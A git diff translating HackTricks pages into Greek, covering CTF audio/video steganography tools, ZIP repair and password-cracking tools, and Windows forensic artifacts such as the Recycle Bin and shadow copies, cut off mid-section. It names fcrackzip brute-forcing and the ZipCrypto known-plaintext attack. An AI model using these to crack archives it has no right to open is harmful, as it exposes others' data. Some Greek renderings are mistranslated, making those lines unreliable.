* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
|
|
|
@ -1,45 +1,39 @@
|
|||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
**Audio and video file manipulation** is a staple in **CTF forensics challenges**, leveraging **steganography** and metadata analysis to hide or reveal secret messages. Tools such as **[mediainfo](https://mediaarea.net/en/MediaInfo)** and **`exiftool`** are essential for inspecting file metadata and identifying content types.
|
||||
**Η επεξεργασία αρχείων ήχου και βίντεο** είναι ένα απαραίτητο εργαλείο στις προκλήσεις **CTF forensics**, εκμεταλλευόμενη την **στεγανογραφία** και την ανάλυση μεταδεδομένων για να κρύψει ή να αποκαλύψει μυστικά μηνύματα. Εργαλεία όπως το **[mediainfo](https://mediaarea.net/en/MediaInfo)** και το **`exiftool`** είναι απαραίτητα για την επιθεώρηση των μεταδεδομένων των αρχείων και την αναγνώριση των τύπων περιεχομένου.
|
||||
|
||||
For audio challenges, **[Audacity](http://www.audacityteam.org/)** stands out as a premier tool for viewing waveforms and analyzing spectrograms, essential for uncovering text encoded in audio. **[Sonic Visualiser](http://www.sonicvisualiser.org/)** is highly recommended for detailed spectrogram analysis. **Audacity** allows for audio manipulation like slowing down or reversing tracks to detect hidden messages. **[Sox](http://sox.sourceforge.net/)**, a command-line utility, excels in converting and editing audio files.
|
||||
Για προκλήσεις ήχου, το **[Audacity](http://www.audacityteam.org/)** ξεχωρίζει ως ένα πρωτοποριακό εργαλείο για την προβολή των κυμάτων και την ανάλυση των σπεκτρογραμμάτων, απαραίτητα για την ανακάλυψη κειμένου που έχει κωδικοποιηθεί στον ήχο. Το **[Sonic Visualiser](http://www.sonicvisualiser.org/)** συνιστάται ιδιαίτερα για λεπτομερή ανάλυση σπεκτρογραμμάτων. Το **Audacity** επιτρέπει την επεξεργασία ήχου, όπως η επιβράδυνση ή η αναστροφή κομματιών για την ανίχνευση κρυμμένων μηνυμάτων. Το **[Sox](http://sox.sourceforge.net/)**, ένα πρόγραμμα γραμμής εντολών, εξαιρετικά καλό στη μετατροπή και επεξεργασία αρχείων ήχου.
|
||||
|
||||
**Least Significant Bits (LSB)** manipulation is a common technique in audio and video steganography, exploiting the fixed-size chunks of media files to embed data discreetly. **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)** is useful for decoding messages hidden as **DTMF tones** or **Morse code**.
|
||||
Η μεταβολή των **Least Significant Bits (LSB)** είναι μια συνηθισμένη τεχνική στη στεγανογραφία ήχου και βίντεο, εκμεταλλευόμενη τα κομμάτια μέσων σταθερού μεγέθους για να ενσωματώσει δεδομένα διακριτά. Το **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)** είναι χρήσιμο για την αποκωδικοποίηση μηνυμάτων που έχουν κρυφτεί ως **DTMF τόνοι** ή **κώδικας Morse**.
|
||||
|
||||
Video challenges often involve container formats that bundle audio and video streams. **[FFmpeg](http://ffmpeg.org/)** is the go-to for analyzing and manipulating these formats, capable of de-multiplexing and playing back content. For developers, **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)** integrates FFmpeg's capabilities into Python for advanced scriptable interactions.
|
||||
Οι προκλήσεις βίντεο συχνά περιλαμβάνουν μορφές δοχείων που συνδέουν ροές ήχου και βίντεο. Το **[FFmpeg](http://ffmpeg.org/)** είναι το κατάλληλο εργαλείο για την ανάλυση και την επεξεργασία αυτών των μορφών, ικανό να αποσυνδέσει και να αναπαράγει περιεχόμενο. Για τους προγραμματιστές, το **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)** ενσωματώνει τις δυνατότητες του FFmpeg στην Python για προηγμένες επιδράσεις με σενάρια.
|
||||
|
||||
This array of tools underscores the versatility required in CTF challenges, where participants must employ a broad spectrum of analysis and manipulation techniques to uncover hidden data within audio and video files.
|
||||
Αυτή η σειρά εργαλείων υπογραμμίζει την απαραίτητη ευελιξία στις προκλήσεις CTF, όπου οι συμμετέχοντες πρέπει να χρησιμοποιήσουν ένα ευρύ φάσμα τεχνικών ανάλυσης και επεξεργασίας για να αποκαλύψουν κρυμμένα δεδομένα μέσα σε αρχεία ήχου και βίντεο.
|
||||
|
||||
## References
|
||||
## Αναφορές
|
||||
* [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**Hack
|
||||
|
|
|
@ -1,44 +1,42 @@
|
|||
# ZIPs tricks
|
||||
# Κόλπα με αρχεία ZIP
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF**, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Συμμετάσχετε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
**Command-line tools** for managing **zip files** are essential for diagnosing, repairing, and cracking zip files. Here are some key utilities:
|
||||
**Εργαλεία γραμμής εντολών** για τη διαχείριση **αρχείων ZIP** είναι απαραίτητα για τη διάγνωση, επισκευή και αποκρυπτογράφηση αρχείων ZIP. Παρακάτω παρουσιάζονται μερικά βασικά εργαλεία:
|
||||
|
||||
- **`unzip`**: Reveals why a zip file may not decompress.
|
||||
- **`zipdetails -v`**: Offers detailed analysis of zip file format fields.
|
||||
- **`zipinfo`**: Lists contents of a zip file without extracting them.
|
||||
- **`zip -F input.zip --out output.zip`** and **`zip -FF input.zip --out output.zip`**: Try to repair corrupted zip files.
|
||||
- **[fcrackzip](https://github.com/hyc/fcrackzip)**: A tool for brute-force cracking of zip passwords, effective for passwords up to around 7 characters.
|
||||
- **`unzip`**: Αποκαλύπτει τον λόγο για τον οποίο ένα αρχείο ZIP δεν αποσυμπιέζεται.
|
||||
- **`zipdetails -v`**: Παρέχει λεπτομερή ανάλυση των πεδίων της μορφής του αρχείου ZIP.
|
||||
- **`zipinfo`**: Καταγράφει τα περιεχόμενα ενός αρχείου ZIP χωρίς να τα εξάγει.
|
||||
- **`zip -F input.zip --out output.zip`** και **`zip -FF input.zip --out output.zip`**: Προσπαθούν να επιδιορθώσουν κατεστραμμένα αρχεία ZIP.
|
||||
- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Ένα εργαλείο για την αποτροπή βίαιης διάρρηξης κωδικών πρόσβασης αρχείων ZIP, αποτελεσματικό για κωδικούς πρόσβασης έως περίπου 7 χαρακτήρες.
|
||||
|
||||
The [Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) provides comprehensive details on the structure and standards of zip files.
|
||||
Η [προδιαγραφή της μορφής αρχείου Zip](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) παρέχει λεπτομερείς πληροφορίες σχετικά με τη δομή και τα πρότυπα των αρχείων ZIP.
|
||||
|
||||
It's crucial to note that password-protected zip files **do not encrypt filenames or file sizes** within, a security flaw not shared with RAR or 7z files which encrypt this information. Furthermore, zip files encrypted with the older ZipCrypto method are vulnerable to a **plaintext attack** if an unencrypted copy of a compressed file is available. This attack leverages the known content to crack the zip's password, a vulnerability detailed in [HackThis's article](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) and further explained in [this academic paper](https://www.cs.auckland.ac.nz/\~mike/zipattacks.pdf). However, zip files secured with **AES-256** encryption are immune to this plaintext attack, showcasing the importance of choosing secure encryption methods for sensitive data.
|
||||
Είναι σημαντικό να σημειωθεί ότι τα αρχεία ZIP που προστατεύονται με κωδικό πρόσβασης **δεν κρυπτογραφούν τα ονόματα αρχείων ή το μέγεθος των αρχείων** που περιέχουν, μια ευπάθεια ασφαλείας που δεν μοιράζονται τα αρχεία RAR ή 7z που κρυπτογραφούν αυτές τις πληροφορίες. Επιπλέον, τα αρχεία ZIP που κρυπτογραφούνται με την παλαιότερη μέθοδο ZipCrypto είναι ευάλωτα σε μια **επίθεση κειμένου ανοικτού κειμένου** εάν υπάρχει διαθέσιμο ένα μη κρυπτογραφημένο αντίγραφο ενός συμπιεσμένου αρχείου. Αυτή η επίθεση εκμεταλλεύεται το γνωστό περιεχόμενο για να αποκρυπτογραφήσει τον κωδικό πρόσβασης του αρχείου ZIP, μια ευπάθεια που αναλύεται λεπτομερώς στο [άρθρο του HackThis](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) και εξηγείται περαιτέρω σε [αυτό το ακαδημαϊκό άρθρο](https://www.cs.auckland.ac.nz/\~mike/zipattacks.pdf). Ωστόσο, τα αρχεία ZIP που προστατεύονται με κρυπτογράφηση **AES-256** είναι ανθεκτικά σε αυτήν την επίθεση κειμένου ανοικτού κειμένου, καθιστώντας σαφές τον σημαντικό ρόλο της επιλογής ασφαλών μεθόδων κρυπτογράφησης για ευαίσθητα δεδομένα.
|
||||
|
||||
## References
|
||||
## Αναφορές
|
||||
* [https://michael-myers.github.io/blog/categories/ctf/](https://michael-myers.github.io/blog/categories/ctf/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF**, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Συμμετάσχετε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο
|
||||
|
|
|
@ -1,526 +1,351 @@
|
|||
# Windows Artifacts
|
||||
# Αρχεία Windows
|
||||
|
||||
## Windows Artifacts
|
||||
## Αρχεία Windows
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
## Generic Windows Artifacts
|
||||
## Γενικά Αρχεία Windows
|
||||
|
||||
### Windows 10 Notifications
|
||||
### Ειδοποιήσεις Windows 10
|
||||
|
||||
In the path `\Users\<username>\AppData\Local\Microsoft\Windows\Notifications` you can find the database `appdb.dat` (before Windows anniversary) or `wpndatabase.db` (after Windows Anniversary).
|
||||
Στη διαδρομή `\Users\<όνομα_χρήστη>\AppData\Local\Microsoft\Windows\Notifications` μπορείτε να βρείτε τη βάση δεδομένων `appdb.dat` (πριν την επέτειο των Windows) ή `wpndatabase.db` (μετά την επέτειο των Windows).
|
||||
|
||||
Inside this SQLite database, you can find the `Notification` table with all the notifications (in XML format) that may contain interesting data.
|
||||
Μέσα σε αυτήν τη βάση δεδομένων SQLite, μπορείτε να βρείτε τον πίνακα `Notification` με όλες τις ειδοποιήσεις (σε μορφή XML) που μπορεί να περιέχουν ενδιαφέρουσες πληροφορίες.
|
||||
|
||||
### Timeline
|
||||
### Χρονολόγιο
|
||||
|
||||
Timeline is a Windows characteristic that provides **chronological history** of web pages visited, edited documents, and executed applications.
|
||||
Το Χρονολόγιο είναι μια χαρακτηριστική των Windows που παρέχει **χρονολογική ιστορία** των επισκεφθέντων ιστοσελίδων, των επεξεργασμένων εγγράφων και των εκτελεσμένων εφαρμογών.
|
||||
|
||||
The database resides in the path `\Users\<username>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db`. This database can be opened with an SQLite tool or with the tool [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **which generates 2 files that can be opened with the tool** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md).
|
||||
Η βάση δεδομένων βρίσκεται στη διαδρομή `\Users\<όνομα_χρήστη>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db`. Αυτή η βάση δεδομένων μπορεί να ανοιχτεί με ένα εργαλείο SQLite ή με το εργαλείο [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **που δημιουργεί 2 αρχεία που μπορούν να ανοίξουν με το εργαλείο** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md).
|
||||
|
||||
### ADS (Alternate Data Streams)
|
||||
### ADS (Εναλλακτικά Ρεύματα Δεδομένων)
|
||||
|
||||
Files downloaded may contain the **ADS Zone.Identifier** indicating **how** it was **downloaded** from the intranet, internet, etc. Some software (like browsers) usually put even **more** **information** like the **URL** from where the file was downloaded.
|
||||
Τα κατεβασμένα αρχεία μπορεί να περιέχουν την **Ζώνη Αναγνώρισης ADS** που υποδεικνύει **πώς** έγινε το **κατέβασμα** από το εταιρικό δίκτυο, το διαδίκτυο κ.λπ. Ορισμένο λογισμικό (όπως οι περιηγητές) συνήθως προσθέτουν ακόμη **περισσότερες** **πληροφορίες** όπως η **URL** από όπου κατέβηκε το αρχείο.
|
||||
|
||||
## **File Backups**
|
||||
## **Αντίγραφα Ασφαλείας Αρχείων**
|
||||
|
||||
### Recycle Bin
|
||||
### Κάδος Ανακύκλωσης
|
||||
|
||||
In Vista/Win7/Win8/Win10 the **Recycle Bin** can be found in the folder **`$Recycle.bin`** in the root of the drive (`C:\$Recycle.bin`).\
|
||||
When a file is deleted in this folder 2 specific files are created:
|
||||
Στα Vista/Win7/Win8/Win10 ο **Κάδος Ανακύκλωσης** βρίσκεται στον φάκελο **`$Recycle.bin`** στη ρίζα του δίσκου (`C:\$Recycle.bin`).\
|
||||
Όταν ένα αρχείο διαγράφεται σε αυτόν τον φάκελο, δημιουργούνται 2 συγκεκριμένα αρχεία:
|
||||
|
||||
* `$I{id}`: File information (date of when it was deleted}
|
||||
* `$R{id}`: Content of the file
|
||||
* `$I{id}`: Πληροφορίες αρχείου (ημερομηνία διαγραφής)
|
||||
* `$R{id}`: Περιεχόμενο του αρχείου
|
||||
|
||||
![](<../../../.gitbook/assets/image (486).png>)
|
||||
|
||||
Having these files you can use the tool [**Rifiuti**](https://github.com/abelcheung/rifiuti2) to get the original address of the deleted files and the date it was deleted (use `rifiuti-vista.exe` for Vista – Win10).
|
||||
|
||||
Έχοντας αυτά τα αρχεία μπορείτε να χρησιμοποιήσετε το εργαλείο [**Rifiuti**](https://github.com/abelcheung/rifiuti2) για να πάρετε την αρχική διεύθυνση των διαγραμμένων αρχείων και την ημερομηνία διαγραφής τους (χρησιμοποιήστε το `rifiuti-vista.exe` για Vista – Win10).
|
||||
```
|
||||
.\rifiuti-vista.exe C:\Users\student\Desktop\Recycle
|
||||
```
|
||||
|
||||
![](<../../../.gitbook/assets/image (495) (1) (1) (1).png>)
|
||||
|
||||
### Volume Shadow Copies
|
||||
### Αντίγραφα Σκιών Όγκου
|
||||
|
||||
Shadow Copy is a technology included in Microsoft Windows that can create **backup copies** or snapshots of computer files or volumes, even when they are in use.
|
||||
Το Shadow Copy είναι μια τεχνολογία που περιλαμβάνεται στα Microsoft Windows και μπορεί να δημιουργήσει αντίγραφα ασφαλείας ή στιγμιότυπα αρχείων ή όγκων υπολογιστή, ακόμα και όταν αυτά χρησιμοποιούνται.
|
||||
|
||||
These backups are usually located in the `\System Volume Information` from the root of the file system and the name is composed of **UIDs** shown in the following image:
|
||||
Αυτά τα αντίγραφα ασφαλείας συνήθως βρίσκονται στον φάκελο `\System Volume Information` στη ρίζα του συστήματος αρχείων και το όνομά τους αποτελείται από τα **UIDs** που φαίνονται στην παρακάτω εικόνα:
|
||||
|
||||
![](<../../../.gitbook/assets/image (520).png>)
|
||||
|
||||
Mounting the forensics image with the **ArsenalImageMounter**, the tool [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html) can be used to inspect a shadow copy and even **extract the files** from the shadow copy backups.
|
||||
Με την επισύναψη της εικόνας ανάκτησης με το **ArsenalImageMounter**, το εργαλείο [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html) μπορεί να χρησιμοποιηθεί για να επιθεωρήσει ένα αντίγραφο σκιάς και ακόμα και να **εξάγει τα αρχεία** από τα αντίγραφα ασφαλείας του αντιγράφου σκιάς.
|
||||
|
||||
![](<../../../.gitbook/assets/image (521).png>)
|
||||
|
||||
The registry entry `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` contains the files and keys **to not backup**:
|
||||
Η καταχώρηση του μητρώου `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` περιέχει τα αρχεία και τα κλειδιά **που δεν πρέπει να δημιουργηθούν αντίγραφα ασφαλείας**:
|
||||
|
||||
![](<../../../.gitbook/assets/image (522).png>)
|
||||
|
||||
The registry `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` also contains configuration information about the `Volume Shadow Copies`.
|
||||
Το μητρώο `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` περιέχει επίσης πληροφορίες διαμόρφωσης σχετικά με τα `Volume Shadow Copies`.
|
||||
|
||||
### Office AutoSaved Files
|
||||
### Αρχεία Αυτόματης Αποθήκευσης Office
|
||||
|
||||
